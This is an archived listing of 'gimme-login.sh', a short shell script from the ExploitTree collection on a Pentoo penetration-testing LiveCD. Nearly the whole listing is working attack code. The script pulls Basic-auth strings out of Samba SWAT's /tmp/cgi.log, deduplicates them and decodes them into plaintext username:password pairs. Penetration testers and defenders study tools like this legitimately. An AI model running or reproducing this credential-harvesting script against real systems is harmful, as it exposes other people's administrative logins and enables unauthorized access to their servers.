home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / samba / gimme-login.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  681b  |  27 lines

  1. #!/bin/sh
  2. # phear my ugly shell scripting! - miah@uberhax0r.net
  3. # grabs username:password from swat cgi.log, then decodes 
  4. # and outputs the results.
  5. clear
  6. echo "######################"
  7. echo "#checking for cgi.log#"
  8. echo "######################"
  9. echo
  10.  if [ -f /tmp/cgi.log ]
  11.   then
  12.     echo " - cgi.log found"
  13.     echo " - extracting logins"
  14.     echo
  15.     grep "Basic" /tmp/cgi.log|awk '{print $3}' > /tmp/encoded.cgi.log
  16.     sort /tmp/encoded.cgi.log > /tmp/encoded.cgi.log.1
  17.     uniq /tmp/encoded.cgi.log.1 > /tmp/uniq.cgi.log
  18.     rm /tmp/encoded.cgi.log*
  19.     for i in $( cat /tmp/uniq.cgi.log ); do
  20.         echo $i 012| mmencode -u
  21.         echo
  22.     done    
  23.     rm /tmp/uniq.cgi.log
  24.   else
  25.     echo " - cgi.log not found!" 
  26. fi
  27.